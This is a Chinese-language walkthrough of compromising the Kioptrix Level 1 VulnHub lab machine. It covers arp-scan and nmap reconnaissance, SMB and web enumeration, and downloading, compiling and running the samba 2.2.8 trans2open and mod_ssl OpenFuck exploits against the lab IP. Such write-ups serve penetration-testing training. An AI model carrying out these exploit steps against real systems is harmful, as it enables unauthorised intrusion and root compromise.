靶机环境
靶机下载地址:
https://www.vulnhub.com/entry/kioptrix-level-1-1,22/
tips:
Kioptrix这个系列靶机默认是桥接模式,如果我们kali使用NAT是扫描不到靶机的,通过VM的靶机网络设置也不能更改成功。
解决方法:
下载的文件解压后,编辑 Kioptix Level 1.vmx 文件,删除以 ethernet0开头的行,并保存,
导入虚拟机,并将增加网络设备器,并且其模式为NAT
主机
主机发现
`└─# arp-scan -l │
Interface: eth0, type: EN10MB, MAC: 00:0c:29:4e:6d:52, IPv4: 192.168.241.177 │
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan) │
192.168.241.150 00:0c:29:94:89:48 VMware, Inc. │
192.168.241.254 00:50:56:fe:09:b0 VMware, Inc.
靶机ip为:92.168.241.150
主机端口开放扫描
nmap -sT -sV -p- --min-rate 10000 192.168.241.150
主机开放端口版本扫描
通过nmap 扫描发现主机开放了22,80,111,139,443,1024 端口,
22 为ssh ,暂时还没有发现有效的账密信息,暂不考虑,
139 为sbm 服务 可能比较好入手,我先看看这个服务,
方法1
smb 139
使用 smbclient 工具进行smb 服务枚举,发现匿名登录成功
smbclient -L 192.168.241.150 -N
登录文件共享
└─# smbclient "\\\\192.168.241.150\\$IPS" -U Anonymous
Password for [WORKGROUP\Anonymous]:
登录失败
nmap 扫描结果没有扫描出samba 版本信息,msf 中有个模块可以探测目标的samba的版本信息,
msf6 > search smb_ver type:auxiliary
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 auxiliary/scanner/smb/smb_version normal No SMB Version Detection
msf6 > use 0
msf6 auxiliary(scanner/smb/smb_version) > set rhosts 192.168.241.150
msf6 auxiliary(scanner/smb/smb_version) > run
提权
找到samba 版本信息,通过https://www.exploit-db.com/ 漏洞利用库 查找这个版本有个远程代码执行漏洞,我们试试
下载poc ,编译 ,执行
└─#wget -O 10.c https://www.exploit-db.com/download/10
└─#gcc -o poc 10.c
└─# ./poc
samba-2.2.8 < remote root exploit by eSDee (www.netric.org|be)
--------------------------------------------------------------
Usage: ./poc [-bBcCdfprsStv] [host]
-b <platform> bruteforce (0 = Linux, 1 = FreeBSD/NetBSD, 2 = OpenBSD 3.1 and prior, 3 = OpenBSD 3.2)
-B <step> bruteforce steps (default = 300)
-c <ip address> connectback ip address
-C <max childs> max childs for scan/bruteforce mode (default = 40)
-d <delay> bruteforce/scanmode delay in micro seconds (default = 100000)
-f force
-p <port> port to attack (default = 139)
-r <ret> return address
-s scan mode (random)
-S <network> scan mode
-t <type> presets (0 for a list)
-v verbose mode
┌──(root㉿kali)-[~/shengjing_kali_test/baji_100/Kioptrix_1]
└─# ./poc -b 0 192.168.241.150
samba-2.2.8 < remote root exploit by eSDee (www.netric.org|be)
web
通过namp扫描web 端口开放了80 、443 中间件版本为:Apache httpd 1.3.20 ((Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)Apache httpd 1.3.20 是否有漏洞可利用
使用版本信息漏洞库搜索
└─# searchsploit Apache httpd 1.3.20
Exploits: No Results
Shellcodes: No Results
扩大搜索范围 也是不可利用
打开也么没有扫描发现
目录爆破 ,找到2个页面
访问:http://192.168.241.150//mrtg/ ,
发现 MRTG 2.9.6 可能是个应用, 搜索版本可能存在的漏洞,,没有可利用的信息
访问:http://192.168.241.150/test.php 是个静态页面,也没什么有用的信息
http://192.168.241.150//mrtg/ 这个Url 后面是否存在页面的? 再次进行扫描
扫描结果的这两个也是没有有效的可供利用信息
之前扫描的时候 有两个301 ,我们看看这两个目录下是否能发现可利用的信息呢
这里我们换个扫描器
dirb http://192.168.241.150 -R -w
==> DIRECTORY: http://192.168.241.150/manual/
==> DIRECTORY: http://192.168.241.150/mrtg/
==> DIRECTORY: http://192.168.241.150/usage/
---- Entering directory: http://192.168.241.150/manual/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
(?) Do you want to scan this directory (y/n)? y --> Testing: http://192.168.241.150/manual/_borders
==> DIRECTORY: http://192.168.241.150/manual/mod/
---- Entering directory: http://192.168.241.150/mrtg/ ----
(?) Do you want to scan this directory (y/n)? y + http://192.168.241.150/mrtg/index.html (CODE:200|SIZE:17318)
---- Entering directory: http://192.168.241.150/usage/ ----
(?) Do you want to scan this directory (y/n)? y + http://192.168.241.150/usage/index.html (CODE:200|SIZE:4296)
访问这些页面发现
有个mod _ssl版本2.8 ,之前在nmap 扫描中出现,,
那么我们尝试这个版本漏洞搜索
下载payload 并查看使用,进行编译。在执行
/*
* Requirements: libssl-dev ( apt-get install libssl-dev )
* Compile with: gcc -o OpenFuck OpenFuck.c -lcrypto
*/
└─# .gcc -o OpenFuck 47080.c -lcrypto
└─# ./OpenFuck 0x6b 192.168.241.150 -c 50